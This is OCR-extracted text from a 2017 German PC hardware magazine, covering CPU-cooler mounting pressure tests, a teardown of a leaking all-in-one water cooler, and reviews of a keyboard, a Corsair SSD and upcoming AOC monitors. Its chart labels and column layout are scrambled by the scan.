unbedenklichen Wert, die Serien- 
streuung diverser Cooler-Master- 
und Thermaltake-Produkte liegt 
nur selten über diesem offensicht- 
lich anvisierten Ziel. Andere Her- 


So ist eine (LGA-)CPU aufgebaut 


steller sind weniger zaghaft und 
muteten den Prozessoren anfangs 
bis zu 910 N statische Anpresskraft 
zu. Sockel-1155- -1150-CPUs 
nahmen diese vierfache (!) Spe- 
zifikationsüberschreitung 
nachweisbare Schäden hin, mit 
dem Sockel 1151 änderte Intel aber 
(unter Beibehaltung von Spezifi- 
kationen und Kühlerhalterungen) 


und 


ohne 


Den ersten Teil dieses 
Artikels mit detailierten 

Infos zu den Hintergrün- 

den und den PCGH-Mess- 
methoden finden sie auf dem 


beiliegenden Datenträger. Zusätzlich gibt es 


auf www.pcgh.de/skyfall ein Video des PCGH- 


Skylake-Wurftests und Hersteller-O-Tóne. 


das CPU-Package. Vermutlich aus 
elektrischen Gründen wurde die 
unten liegenden Platine (Substrat) 
deutlich dünner und damit die CPU 
empfindlicher - zumindest Kühler 
der 900-N-Klasse können den gan- 
zen Prozessor erwiesenermaßen 
soweit in den Sockel drücken, dass 
sich Substrat und Sockel-Kontaktfe- 
dern dauerhaft verformen. 


Rückblick: PCGH-Analyse 

Nachdem wir bereits in der PCGH 
02/2016 zahlreichen Kühlern be- 
denklich hohe Anpresskräfte be- 
scheinigten, ergab die Nachkon- 
trolle in der PCGH 07/2017 ein 
besseres, aber weiterhin durch- 
mischtes Bild: Von 37 Luftkühlern, 
darunter alle aktuellen Einträge des 
PCGH-Einkaufsführers, 
nur ein Modell gefährliche Werte - 


erreichte 
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die aber strittig blieben (s. u.). Alle 
anderen Extremfälle waren als Re- 
aktion auf unsere frühere Bericht- 
erstattung nachgerüstet worden. 
Ebenso wie viele Neuvorstellungen 
überschreiten sie aber weiterhin 
die Intel-Spezifikationen. Eine An- 
presskraft vom 1,5- bis 2-fachen der 
Vorgabe sind eher die Regel denn 
die Ausnahme - für Sky- und Kaby- 
Lake aber scheinbar nicht gefähr- 
lich; zumindest liegen der Redak- 
tion keine Schadensberichte vor. 


Neu: Wasserkühlungen 

Für diese Ausgabe haben wir 
eine zweite Testreihe im Hoch- 
leistungs-Bereich nachgelegt: In 
unserer Übersichtsgrafik finden 
sich jetzt auch insgesamt 18 Kom- 
paktwasserkühlungen, einzelne 
CPU-Wasserkühler für modulare 
Kreisläufe sowie entsprechende 
Wasserkühlungs-Kits. Die positive 
Überraschung: Trotz der hohen 
Leistungsansprüche an diese Pro- 
dukte überschreiten nur drei Mo- 
delle die Intel-Vorgaben merklich. 
Hohe Kühlleistung braucht eben 
keine hohen Anpresskräfte, selbst 


die — spezifikationsüberschreiten- 
den Produkte liegen in zwei von 
drei Fällen (Enermax Liqmax II 
240: 360 N, XSPC Raystorm Pro: 
400 N) nur im Luftkühlungs-Mittel- 
feld. Einzig die Antec H20 1200 Pro 
(Halterung baugleich zur Magicool 
B2000) erreicht mit 540 N einen 
bedenklichen Wert, verglichen mit 
Luftkühlern erzeugt die leichte 
CPU-Kühler-Pumpeneinheit im Fal- 
le von Erschütterungen aber kaum 
dynamische Zusatzbelastungen. 
Beim aktuellen Nachfolger Mercu- 
ry 240 hat Antec dennoch radikal 
gegengesteuert, wir messen 110 N. 


Streitfall: Arctic Freezer i32 
Ebenfalls mit Nachbesserungen 
beschäftigt ist Arctic. In der PCGH 
07/2017 berichteten wir nur von 
ungewöhnlich hohen und unre- 
gelmäßigen Messwerten beim be- 
liebten Freezer i32. Die exakten 
Werte wollten wir vor weiteren 
Prüfungen aber noch nicht abdru- 
cken. Arctics eigene Messungen 
hatten nämlich nur leicht erhöhte, 
aber unbedenkliche 285 N für die 
erste Produktionscharge ergeben 


Arctic zur Anpresskraft des i32 


Ende April kontaktierte PCGH Arctic mit den Messergebnissen des Free- 
zer i32, nach sorgfältiger Prüfung folgt jetzt die öffentliche Reaktion: 


Messungen der Kühler-Anpresskraft haben für die getesteten Freezer i32-Kühler 
Abweichungen von den Intel Spezifikationen ergeben (550 N). Allerdings sind we- 
der PCGH noch uns Fälle bekannt, bei denen die erhöhte Anpresskraft von Kühlern 
dieses Modells in Zusammengang mit CPU-Beeinträchtigungen steht. 


Als Reaktion auf die Überschreitung der Intel-Vorgabe für die Anpresskraft stellen 
wir seit Anfang Juli ein Schraubenset für die Kühler der Freezer i32-Serie zur 
Verfügung, um damit möglichen Bedenken unserer Kunden (hinsichtlich der Belas- 
tungsgrenzen) zu begegnen. Ein Austausch der Schrauben führt zu einer Senkung 
der statischen Belastung. An dieser Stelle möchten wir noch einmal betonen, dass 
keine Beeinträchtigungen der CPU durch 
die Anpresskraft bekannt sind. 


Bei den Kühlern der Nachfolgeserie 
Freezer 33 erfolgt vor der Auslieferung 
ein Austausch der mitgelieferten Schrau- 
ben um eine spezifikationskonforme 
Kühleranpresskraft zu gewährleisten. Für 
bereits ausgelieferte Freezer 33 bieten 
wir ebenfalls Austauschschrauben an. 
Die Schraubensets können kostenlos über 
den ARCTIC Support (support@arctic. 
ac) gegen Vorlage der Rechnungskopie 
angefordert werden. 


ARCTIC 


www.arctic.ac 
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und gute 215 N für die Mehrheit 
der verkauften Kühler. Auf dem 
PCGH-Teststand maßen wir dage- 
gen hochbrisante 840 N für das ur- 
sprüngliche Testmuster und 650 N 
für ein zweites, aktuelles Exemplar. 
In beiden Fällen war die Backpla- 
te nach wenigen Testmontagen so 
stark in Mitleidenschaft gezogen, 
dass Arctics Versicherungen eines 
niedrigeren — Konstruktionszieles 
durchaus glaubwürdig erschienen. 


Es standen also mehrere Mög- 
lichkeiten im Raum: Produktions- 
fehler an den Testmustern? Ein 
Konstruktionsfehler der ganzen 
Serie? Trotz plausibler Messergeb- 
nisse bei allen anderen Kühlern 
konnte auch ein Fehler des PCGH- 
Messaufbaus nicht ausgeschlossen 
werden, da sich der Freezer i32 
als einziger nicht-Boxed-Kühler im 
Test die Mainboard-Flexibilitát zu 
nutze macht. Fehlende Berichte 


über CPU-Schäden in Freezer-i32- 
Systemen sprachen zudem gegen 
ein aktues Gefahrenszenario, um- 
gekehrt hätte eine ungeprüfte Ver- 
öffentlichung der extremen Werte 
möglicherweise zu Unrecht erheb- 
liche Verkaufseinbußen zur Folge 
gehabt. 


Verkaufsstopp Freezer i33 
Diverse Nachmessungen und eine 
Asien-Reise mehrerer Kühlerex- 


emplare und unseres kompletten 
Testaufbaus später herrscht nun 
Klarheit: Am PCGH Messverfahren 
konnten keine Fehler gefunden 
werden - unsere Messwerte von 
840 und 650 N haben Bestand. 
Arctic hingegen erhielt nach Be- 
hebung eines  Kalibrierfehlers 
deutlich hóhere Messwerte: 550 N 
lautet der korrigierte Messwert für 
das zweite Testmuster. Das sind 
immer noch 100 N weniger als im 


311 bis 600 N 


Anpresskraft 
durch ILM 


Zusätzlich zum Kühler 
drückt auch die Sockel- 
Verriegelung selbst auf 
die CPU, gemäß Spezi- 
fikation mit mindestens 
311 und maximal 600 N. 


600 0 
wm 
ШШШ 

600 0 
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iu Fractal Design 
2 Е) Kelvin S24 
Ё) Test іп: 06/2015 


ЕКІ Alpenföhn 
Ben Nevis 
Test in: 09/2015 
Е 
(m 


Intel Boxed 
(LGA 1151 Kaby Lake) 


Intel Boxed K 


0 bis 222N 


zulássige statische Anpresskraft 


Die Kühlerhalterung darf laut Intel maximal 
mit 222 N auf die CPU drücken. 


Cooler Master сма 
Hyper 212X Hd 


Test in: 04/2016 | 08 


` 


Watercool Heat- 
killer IV Pro 
Test in: 12/2016 


Be Quiet nt 
Loop 240 mm 
Test in: 07/2017 


ler 


Test in: — 


v 


ler 
(LGA 1155 Sandy Bridge) 
Test іп: — 


BeQ 
Pure Rock 
Test in: 01/2017 


е 


Епегтах 
ETS-50 Axe 
Test in: 01/2017 


Alphacool 
Eisblock XPX 
Test in: 01/2017 


Fractal Design 


ИШ Test in: 07/2017 


— ^ d Test in: 07/2017 


L| EK Water Blocks 
EK-Kit S240 


EKL Alpenfóhn 
Brocken 2 
Test in: 09/2015 


Celsius S24 


NZXT 
Kraken X62 


200 


Thermaltake Frio Ex- 
treme Silent 14 Dual 
Test in: 09/2015 


EKL Alpenfóhn 
Brocken Eco 
Test in: 12/2014 


EKL Alpenfóhn 
Atlas 
Test in: 04/2016 


EKL Alpenfóhn 


Olymp 
Test in: 05/2016 


~ Alpha, еххо Cool 
g-| Answer 240 D5/ST 
Test in: 09/2016 


ID-Cooling 
Frostflow 240 
Test in: 07/2017 


EVGA 
CLC 280 
Test in: 07/2017 


m 


Cooler Master 
Hyper 4125 
Test in: 09/2015 


Thermaltake 
Frio Silent 12 
Test in: 01/2017 


EE Cooler Master 
Master Liquid 240 


f Test in: 07/2017 


Ë] 


Alphacool 
- aer 240 
[ | Test in: 08/2016 


EKWB Supre- 
macy Evo 
Test in: 01/2017 


Thermalright Silver Arrow ITX 
(LGA-1151-Halterung) 
Test in: — 


L] 


Be Quiet Shadow 
Rock Slim 
Test in: 09/2015 


Scythe 
Fuma 
Test in: 05/2016 


Cooler Master 
Hyper 612 Ver.2 
Test in: 12/2014 


Noctua 
NH-U9S 
Test in: 01/2017 


Test in: 09/2015 


Noctua 


| 


Antec Enermax Liq- 
Mercury 20 A Liquid NH-C14S | тахи 240 
— rctic Wé nl 
a Test in: 07/2017 LÁ Freezer 240 Test in: 04/2016 Ь s Test in: 06/2015 
=] | Test in: 03/2016 


Arctic Freezer i32 
(LGA-1151-Halter.) 
Test in: 04/2016 


KZ XSPC Ray Storm 
- Pro lon AX240 Kit 
=з Test in: 09/2016 


S 
ES 


Noctua 
NH-D15 
Test in: 09/2015 


Therm. Macho Rev. 
(LGA-1151-Halterung) 
Test in 


Noctua 
NH-D155 
Test in: 05/2016 


Noctua 
NH-U14S 
Test in: 12/2014 
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Kühler-Anpresskraft Teil 2 | PROZESSOREN 


PCGH-Test, was aber mit unter- 
schiedlicher Mainboard-Flexibilität 
erklärt werden kann (die Arctic- 
Halterung selbst ist sehr steif), 
zumal der exakt kalibrierte Mess- 
bereich unseres Sensors ohnehin 
bei 500 N endet. Arctic zieht auf 
alle Fälle Konsequenzen und diese 
beschränken sich nicht nur auf den 
Freezer i32. Auch dessen aktueller 
Nachfolger i33 wurde auf Grund- 
lage des gleichen, falsch justierten 


Messsystems entwickelt und weist 
somit den gleichen Fehler auf. 


Arctic hat die Auslieferung ge- 
stoppt, neue Kühler werden das 
Werk nur noch mit einem korri- 
gierten Schraubensatz verlassen 
(PCGH-Messung: 300 N). Freezer 
i32 werden ohnehin schon seit län- 
gerem keine mehr produziert. Auf 
einen Rückruf verzichtet man aber, 
da bislang keine Schadensberichte 


222 bis 712 N 


vorliegen. Arctic möchte die eige- 
nen Kunden nicht beunruhigen, 
wenn möglicherweise gar kein An- 
lass zur Sorge besteht - die Kühler 
sind immerhin deutlich leichter als 
erwiesene „Skylake-Killer“. PCGH 
empfiehlt dennoch allen Nutzern, 
den ArcticSupport zu kontaktie- 
ren. Die neuen Schrauben werden 
kostenlos zugeschickt und senken 
die Anpresskraft auf angemessene 
320 N. (tv) 


Fazit Нагйшаге 


Auf Einsicht folgt Besserung 

Investigativer Journalismus ist aufwen- 
dig und damit selten geworden, aber 
unverzichtbar. Wenn systematische 
Fehler im Messsystem bestehen, helfen 
auch beste Absichten nicht, sondern 
nur externes Feedback — und zwar 
besser nicht von Kunden mit Hard- 
ware-Schäden. Diese Ansicht teilen 
zum Glück auch die Hersteller mit uns. 


Über 712 N 


zulässige dynamische Last 


Bei Erschütterungen übt der Kühler zusätzliche Kräfte aus, kurzfristig sind bis zu 712 N 
erlaubt. Wird das System gar nicht bewegt, kann ein Teil dieser Sicherheitsreserve vom CPU- 
Kühler statisch genutzt werden. 


unspezifizierter Bereich 


Kühlerhalterungen mit über 712 N Anpresskraft 
gefährden die CPU bereits in Ruhelage. 


Thermalright Le 
Grand Macho RT 
Test in: 01/2017 


Í Antec Kühler 
H20 1200 Pro 
ў Test in: 04/2016 


Thermalright Silver Arrow ITX 
(Originalhalterung) 
Test in: 05/2016 


Be Quiet Dark 
Rock Pro 3 
Test in: 09/2015 


Thermalright True Spirit 
140 Direct 
Test in: 01/2017 


V 


Scythe Mugen 4 
(Originalhalterung) 
Test in: 07/2013 


Thermalright Macho Rev. B 
(Originalhalterung) 
Test in: 02/2015 


v 


420 


Scythe Fuma 


(Originalhalterung) 
Test in: 05/2016 


700 900 


AAAA 


600 700 800 


Scythe 
Mugen 5 
Test in: 01/2017 


900. 


Scythe Ninja 4 
(Originalhalterung) 
Test in: 09/2015 


SW 


Enermax 
ETS-T40F-RF 
Test in: 04/2016 


Be Quiet Shadow 
s Rock LP 
Test in: 04/2016 


Arctic Freezer i32 


(Originalhalterung 2) 
Test in: 04/2016 


Thermalright 
Macho Direct 
Test in: 04/2016 


Thermalright True Spirit 140 BW Rev. A Arctic Freezer i32 
(Originalhalterung) 


Test in: 09/2015 


(Originalhalterung 1) 
Test in: 04/2016 


Scythe Mugen 4 
(LGA-1151-Halterung) 
Test in: — 


Freezer i11 
Test in: 01/2017 
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=) PROZESSOREN | Kompaktwasserkühlung zerlegt 


^ 


Unschöne Überraschung: Kühlflüssigkeit auf Grafikkarte, Netzteil und Gehäuse — 
aufgrund der gelösten Metalle mit fatalen Folgen für die benetzte Elektronik. 


All-in-One-Inkontinenz 


Wie sieht es eigentlich in einer alten Kompaktwasserkühlung aus? Wir haben ein nach zwei Jahren 


überraschend undicht gewordenes Exemplar seziert und auf Alterungsschäden hin untersucht. 


ompaktwasserkühlungen 
Ks als wartungsfrei und 
narrensicher. Verglichen mit mo- 
dularen Wasserkühlungen kann 
man bei ihrem Einbau kaum et- 
was falsch machen und danach 
beschränkt sich die Pflege auf ge- 
legentliches Entstauben. Das heißt 


aber nicht, dass sie ewig weiter- 


laufen. Besonders Pumpenausfälle 
nach vielen Nutzungsjahren kön- 
nen nicht ausgeschlossen werden 
und zum Teil wird auch von fehlen- 
der Flüssigkeit berichtet, obwohl 
die Hersteller gezielt darauf achten, 
Diffusionsverluste durch passende 
Schlauchmaterialien zu minimie- 
ren. Eine Undichtigkeit ganz ande- 


So etwas darf nicht passieren. 


Wasserkühlungs-Bastler verursachen schon einmal 
Leckagen (mich eingeschlossen). Aber destilliertes 
Wasser ist nur schlecht leitend und nicht aggressiv. Oft 
werden Systeme nicht einmal instabil und einen Aus- 
fall von Hardware hatte ich noch nie zu beklagen. Hier 
aber wurde nicht gebastelt und die Schäden waren 
erheblich. Mitverantwortlich dafür ist in meinen Augen 
ein Konstruktionsfehler: Kupfer-Aluminium-Kombina- 
tionen sind riskant, das steht in jedem Wasserküh- 


Torsten Vogel 


lung-Einsteiger-Leitfaden. Und auch wenn massive 


rer Art führte aber kürzlich in der 
Redaktion zu einer deutlichen Le- 
benszeitverkürzung nicht nur der 
Kompaktwasserkühlung selbst: Das 
in Raffaels Privatrechner verbaute 
Modell wurde nach zwei Jahren in- 
tensiver Nutzung und zwei Wochen 
Stillstand inkontinent. Die ausge- 
tretene Flüssigkeit ergoss sich quer 


über die Grafikkarte und in das 
Netzteil des abgeschalteten Rech- 
ners. Bei beiden Komponenten ist 
ein Totalschaden zu verzeichnen, 
die Wiederbelebungsversuche blie- 
ben erfolglos. Auch unsere Suche 
nach der Leckursache führte zu 
keinem klaren Ergebnis - aber zu 
interessanten Bildern. (tu/rv) 


Ein seltener Garantiefall 


Wenn etwas kaputt geht, dann beim dauerhaften 
,Witchern", dachte ich. Der betreffende PC mit Core 
17-5820К und Geforce GTX Titan X (Maxwell) hat 
unzählige Stunden Spielelast ohne Murren gestemmt 
und blieb dabei leise. Erst als ich ihn zwei Wochen ab- 
geschaltet stehen ließ, da zwischenzeitlich mein neuer 
Ryzen-PC zum Hauptsystem befördert wurde, begann 
die Kompaktwasserkühlung zu lecken. Ich staunte 
nicht schlecht, als ich beim Bewegen des Gehäuses 


^ EN a, 
Raffael Vötter 


eine giftgrüne Pfütze sah, welche über Grafikkarte und 


Blöcke viele, viele Jahre zum durchkorrodieren brauchen, führen lange vorher von 
Partikeln verschmutzte Kühlstrukturen zu Problemen. Ob Korrosionsprodukte auch 
das Ableben von Raffs Titan X (Maxwell) begünstigten oder ob es die chemischen 
Zusätze in der Flüssigkeit waren, lässt sich nicht mehr feststellen — aber in beiden 
Fällen hätte der Hersteller in meinen Augen klar versagt. 
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Netzteil lief. Beide Komponenten sind über den Jordan gewandert und vor allem 
um die Titan ist es schade. Silverstone, Hersteller des AiQ-Übeltäters, hat jedoch 
vorbildlich reagiert und sofort Schadenersatz im Rahmen der Herstellergarantie 
initiiert. Eine leckende AiO sei selten und käme bei allen Herstellern vor, ist aber 
ohne Frage ein Garantiefall — das nimmt dem Vorfall einen Teil des Schreckens. 
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Viele heutige Kompatkwasser- 
kühlungen bestehen aus einem 
Kunststoffoberteil, an das von 
unten eine Kupferplatte geschraubt 
wird. Unser Patient (Opfer? Täter?) 
hat dagegen einen massiven 
Aluminiumkorpus und die einzigen 
Sichtbaren Schrauben finden sich 
oben am Zierdeckel. 


Direkt unter dem Deckel finden wir die Elektronik respektive den Pumpenantrieb vor, 
eingebettet in ein Plastikelement, das zugleich die Oberseite der Pumpenkammer 
darstellt. Darunter beginnt der wasserführende Bereich. 


Auf der Rückseite der Pumpenelektronik 
sitzt erwartungsgemäß der Nassläufer, ein 
Plastikteil mit Schaufelrad auf der Oberseite 
und eingebetteten Permanentmagneten auf 
der Unterseite. Verglichen mit vielen anderen 
Kompaktwasserkühlungen ist dieses Modell 
außergewöhnlich groß und scheint ein hoch- 
wertiges, langlebiges Vollkeramiklager zu 
nutzen. Zusammen mit der hohen Masse des 
Korpus erklärt dies die hohe Laufruhe dieser 
Kühlung selbst bei maximaler Pumpendreh- 
zahl. Am Korpus selbst finden wir außerhalb 
des abgedichteten Bereichs Feuchtigkeitsspu- 
ren — Dichtung und Dichtfläche zeigen aber 
keine Auffälligkeiten. Bedenklicher sind zahl- 
reiche (Metall-?)Partikel in der vermutlich 
durch Korrosionsschutzzusätze nach (US-) 
KFZ-Vorbild giftgrün gefärbten Flüssigkeit. 


ММ 
Die Pumpenkammer sitzt auch ohne Schrauben so fest 
im Gehäuse, dass wir sie nur in Bruchstücken entfernen 
können. Darunter sieht es grausig aus: Große, bröselige 
Klumpen bezeugen offensichtliche Korrosionsprobleme. 
Die Wände des Korpus sind aber nicht angegriffen. 
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Haag coi 


Unter einem wasserleitenden Gummi- 
element sitzt die eigentliche Kühlstruk- 
tur. Auf der Einlassseite der Lamellen 
behindert eine dicke Schicht ausgefilterter 
Partikel den Wasserstrom — Kühlleistung 
war aber bis zuletzt gegeben. 


R b — "9 
Die verpresste Bodenplatte bekommen wir nur mit roher Gewalt aus 
dem Korpus. Im Spalt zwischen den beiden Metallteilen offenbart 
sich dann das eigentliche Grauen: Hier muss, außerhalb der unbe- 
schádigt(!) wirkenden Dichtung über lángere Zeit Feuchtigkeit für 
hervorragende Korrosionsbedingungen gesorgt haben. 


09/17 | PC Games Hardware 63 


Infrastruktur 


Boards, RAM, Eingabegeräte, Festplatten, SSDs, Netzteile, Notebooks 


Frank Stöwer 
PCGH-, Chairman” 
E-Mail: fs@pcgh.de 


Kommentar 


Gaming-Stuhl-Tuning: Eine sinnvolle und 
nützliche Idee oder ein neuer Plan, dem 
Gamer das Geld aus der Tasche zu ziehen? 


Allen Unkenrufen zum Trotz sind die in dieser 
Ausgabe ab Seite 86 getesteten Bürostühle im 
Rennsitz-Design bei Spielern sehr beliebt und ver- 
kaufen sich nicht zuletzt dank der omniprásenten 
Herstellerwerbung immer noch sehr gut. Da ich die 
Gaming-Stühle schon seit über zwei Jahren teste, 
überrascht mich das nicht und den Trend, dass nun 
auch Peripheriehersteller wie Sharkoon, LC-Power 
oder Corsair in den Markt einsteigen, habe ich vo- 
rausgesehen. Dass man die bunten Bürostühle mit 
Stützwangen an der Sitzfläche und der Rückenleh- 
ne aber mit mehr als neuen Kissen oder alterna- 
tiven Armlehnen aufmotzen und für verschiedene 
Körpergrößen anpassen kann, war mir neu. Zwei 
Dinge, die ich übrigens für sehr nützlich halte, 
haben mir als Besitzer eines Maxnomic Need for 
Seat Commander S Ill besonders gut gefallen. Das 
eine ist die Möglichkeit, die Sitzhöhe bei einem 
Modell wie dem Commander S IIl beim Kauf durch 
die Wahl der Gasdruckfeder selbst zu bestimmen 
oder die Feder spáter austauschen zu kónnen, da- 
mit zum Beispiel meine ca. 1,65 m groBe Tochter 
das gute Stück nach zwei oder drei Jahren weiter- 
nutzen kann. Das andere ist die Tatsache, dass ich 
die Standardrollen meines Stuhls beispielsweise 
gegen Parkett-, Fliesen- und Laminatbodenfreund- 
liche Rollerblade-Modelle mit Stopfunktion aus- 
tauschen kann. Die würden den Stuhl dann noch 
besser fixieren, wenn ich beim virtuellen Rennsport 
mal besonders kráftig in die Pedale trete. Ich finde, 
dass beide Modifikationen ihr Geld wert und keine 
Abzocke sind! Und Sie? 
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Ein edler Spielpartner? 


www.pcgameshardware.de/hardware 


Kingston HyperX Alloy Elite 


Mit der HyperX Alloy Elite präsentiert Speicher- 
spezialist Kingston die bezüglich Ausstattung und 
Größe gewachsene, elitäre Variante der HyperX Alloy. 


ie auffälligsten Ausstattungsmerkmale der 

Kingston HyperX Alloy Elite verglichen mit 
ihrem in der PCGH 03/2017 mit „gut“ getesteten 
Vorgänger sind die Handballenablage, die Mul- 
timediatasten, die Lautstärkenwalze sowie die 
Extraknöpfe für die Beleuchtungseinstellungen 
und den Gaming-Modus. Bei dem HyperX Alloy 
Elite verzichtet Kingston auf RGB-Lichtspielerei- 
en und belässt es bei einer roten Beleuchtung 
inklusive Lichtleiste. Lichtscheue Spieler kön- 
nen mit der äußeren der drei Sondertasten oben 
links die Beleuchtung ausschalten oder drei Hel- 
ligkeitsstufen einstellen. Da Kingston auch für 
die HyperX Alloy Elite keine Software anbietet, 
werden die fünf Beleuchtungseffekte auch per 
Taste ausgelöst. Eine programmierbare Einzel- 


tastenbeleuchtung ist genauso wenig vorhanden 
wie eine Makrofunktion oder ein Speicher. Da- 
für entfällt die bei vielen mechanischen Gamer- 
Keyboards vorhandene Doppelbelegung der 
F-Tasten mit Multimediafunktionen. Ein USB-2.0- 
Anschluss sowie ein Set mit acht Tastenkappen 
gehört ebenfalls zur Aussattung. 


Dank ihrer Struktur und Soft-Touch-Oberfläche 
fühlt sich die Handballenablage gut an, für eine 
optimale Ergonomie ist sie jedoch etwas zu sch- 
mal. Bei der Erreichbarkeit der Tasten mit frei 
stehenden Schaltern gibt es keine Probleme, ob- 
wohl die Tastenblöcke eng zusammenliegen und 
die F-Tastenreihe sich nah am Haupttastenfeld 
befindet. Mit ihrem haptischen Feedback und 
einem Auslösedruck von 55 g eignen sich Cher- 
rys MX Brown-Switches vor allem für Spieler und 
Vielschreiber, die ihre Tasten nicht bis zum An- 
schlag nach 4 mm durchdrücken wollen. (fs) 


yperX Alloy Elite 


Fazit: Die preislich zu hoch angesetzte HyperX Alloy Elite eignet 
sich bestens für ausgiebige Schreibarbeiten und das Spielen 

am PC. Während die Funktion der Sondertasten gefällt, fehlen 
Spieler-Features wie Makros und ein (Profil-)Speicher. 


Hersteller: Kingston 

Web: www.hyperxgaming.com 

Preis: Ca. € 140,- | Preis-Leistung: ausreichend 
Ausstattung 2,40 


© Ergono db JELO) | Eigenschaften | 1,60 

© 0 оп/5р Leistung 1,65 
ergle Noch nicht gelistet 
WERTUNG B 
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Zurück zu den Steckkarten? 


Unter den schnellen NVMe-SSDs hat sich mitt- 
lerweile der kompakte M.2-Formfaktor durch- 
gesetzt. In diesem wartete auch Corsair mit der 
MP500 auf. Bei der neuen Neutron NX500 setzen 
die Kalifornier aber wieder auf die Steckkarte. 


CI-Express-SSDs sind schneller als ihre SATA- 

III-Pendants, daher werden sie auch relativ 
warm. Bei längerem Datenschaufeln setzt somit 
temperaturbedingt eine Drosselung ein. Eine 
Steckkarten-SSD mit Kühler ist deswegen gegen- 
über den meist nackten M.2-Riegeln im Vorteil. 
Letzterer ist jedoch nur gering, da in der Praxis 
derart große Schreiborgien äußerst selten vor- 
kommen. In unserem Test knickt die Leistung 
der NX500 erst nach über 17 Minuten ein, wenn 
schon über ein Terabyte geschrieben ist. 


Im Atto Disk Benchmark mit komprimierbaren 
Daten erreicht die sequenzielle Leserate fast 
3 GB/s, die Schreibrate beträgt 2,3 GB/s. Im 
praxisnäheren AS SSD beträgt sie noch immer 
gute 2,1 GB/s lesend und 1,2 GB/s schreibend. 
Damit liegt die MP500 in etwa auf gleichem Ni- 
veau wie die Corsair-M.2-SSD. Besser sind nur 
die beiden PCI-E-SSDs von Samsung - 960 Pro 
und 960 Evo. Auch in unserer Wertung platziert 
sich die NX500 auf Platz 3 hinter den beiden. In 
der Praxis ist der Leistungsunterschied weniger 
gravierend: In etwa nur 46 Sekunden kopiert 
die NX500 50.000 Dateien über 10 GByte. Die 


Samsung 960 Evo schaufelt dieselbe Datenmen- 
ge in 47 Sekunden - die 960 Pro in 41. Wir haben 
die Version mit 800 GByte Kapazität getestet, 
es soll noch eine NX500 mit 400 GByte geben. 
Vom Formfaktor abgesehen, ist die Ausstattung 
beider Corsair-SSDs ziemlich ähnlich: Sie verfü- 
gen über den Phison-Controller PS5007-E7, der 
acht NAND-Kanäle bereitstellt. Auch die Flash- 
Module sind die gleichen, es handelt sich dabei 
um den MLC-NAND von Toshiba, der 2 Bit pro 
Zelle speichert und als haltbarer gilt als TLC-Mo- 
dule mit 3 Bit. Mit 2 GByte fállt der DRAM-Cache 
der SSD zudem recht üppig aus. Zum Stromver- 
brauch im Leerlauf nennt Corsair einen Wert 
von 0,5 Watt, wir messen mittels Stromzange 
circa 0,7 Watt. Im Schreibvorgang von AS SSD 
verbraucht die Steckkarte laut unserer Messung 
1,7 Watt. Die maximale Leistungsaufnahme soll 
laut Hersteller bis zu 7,275 Watt betragen. Ande- 
re M.2-SSDs verbrauchen bei ähnlicher Lese- und 
Schreibleistung oft einige Watt weniger. 


Noch vor offizieller Vorstellung war die NX500 
im Handel gelistet. Die 800-GB-Version wur- 
de mit ca. 760 Euro bepreist, die Angabe ver- 
schwand aber wieder. Damit wäre sie mit einem 
GByte-Preis über einem Euro ziemlich teuer 
(gemessen an formatierter Kapazität über 745 
GiByte). Eine Samsung 960 Pro etwa ist für ca. 
60 Cent das GByte zu haben. Laut Corsair soll die 
NX500 ab 25. Juli im Handel sein. (mc) 


AOC stellt neuen HDR-Monitor vor 


620 W / 520 W / 430 W 


SEASONIC QUALITÄT ZUM EINSTIEGSPREIS! 


Zur diesjährigen Gamescom will AOC zwei neue 
Monitore prásentieren: Ein Modell verfügt über 
eine Reaktionszeit von 0,5 ms, ein weiteres kann 
UHD mit 144 Hertz darstellen. 


enaue Infos über die Bildschirme, die auf 

der Gamescom 2017 erstmals gezeigt wer- 
den, enthielt AOCs Einladung noch nicht. Die 
groben Spezifikationen wecken aber schon ein- 
mal unser Interesse. Das eine Modell besitzt eine 
1á40p-Auflósung, ist gebogen und arbeitet mit 
165 Hertz. Das Besondere: Die Reaktionszeit soll 
bei theoretischen 0,5 Millisekunden liegen, wo- 
hingegen schnelle TN-Panels bislang im Bestfall 
auf 1 ms kommen. AU Optronics hat ein TN-Pa- 
nel angekündigt, auf das die Angaben zutreffen 
könnten. Das M270DTROI.O ist 27 Zoll groß, löst 


Bronze Я 
le AUERNATE MA ES Use ` Keu) | cyberport `. 


Corsair Neutron NX500 


Fazit: Mit ihrer Leistung und auch Testnote rangiert die 
NX500 hinter den beiden Samsung-Modellen. Sollte der 
StraBenpreis auf ein moderates Niveau fallen, wird sie mit 
Kühlkörper zur interessanten Alternative zu den M.2-SSDs. 


Hersteller: Corsair 
Web: www.corsair.com 
Preis: Ca. € 760,- | Preis-Leistung: noch nicht verfügbar. 


+ Ausstattung 
+ Eigenschaften 
Leistung 


PCGH-Preisvergleich www.pcgh.de/preis/1649775 


mit 2.560 x 1.440 Pixeln im 1800R-Biegeradius 
auf und erreicht eine Helligkeit von 400 cd/m? 
(Reaktionszeit dort unbekannt). 


Das zweite Modell, ein 27-Zóller, lóst mit 3.840 x 
2.160 Pixeln auf und stellt 144 Hertz dar - HDR 
soll laut AOC auch unterstützt werden. Die ein- 
zigen UHD-144-Hertz-Monitore wurden bislang 
mit G-Sync HDR angekündigt - zum Einsatz 
kommen dort IPS-Panels von AU Optronics mit 
Quantum-Dot-Schicht und 384 Beleuchtungszo- 
nen, die dauerhaft mit 600 cd/m? leuchten und 
auf Spitzenwerte von 1.000 cd/m? kommen. Spä- 
testens zur Gamescom sollten die genauen Spe- 
zifikationen bekannt werden, denn AOC möchte 
beide Monitore unter der Gaming-Serie Agon 


noch dieses Jahr auf den Markt bringen. (mm) 


BRONZE 
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Beim Thema Audio gibt 
es am PC sehr unter- 
schiedliche Herange- 
hensweisen, Einsatzge- 
biete und Ansprüche. Wir 
begutachten mögliche 
Lösungen und geben 
Empfehlungen mit Preis- 
Leistungs-Fokus. 
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enn Sie Ihrem PC Klang ent- 

locken wollen, stehen Sie 
vor einer Wahl, die kaum komple- 
xer ausfallen könnte: Vom einfa- 
chen Headset über hochqualitative 
Soundkarte über Kopfhörer, PC- 
Lautsprecher oder Studio-Boxen 
bis hin zu selbst zusammengestell- 
ten Systemen oder gar Eigenbau 
ist alles und beinahe jede Kombi- 
nation möglich. Diese Vielfalt ist 
erfreulich, denn Sie können allein 
durch die Wahl der Hardware sowie 
deren Zusammenstellung einen in- 
dividuellen, auf Ihre Bedürftnisse 
und Wünsche angepassten Klang 
erhalten. Auf der anderen Seite 
erfordert diese Vielfalt auch einen 
gewissen Kenntnisstand über die 
Hardware, ihre eventuellen Eigen- 
heiten und gute Paarungen. 


Mehr Übersicht 

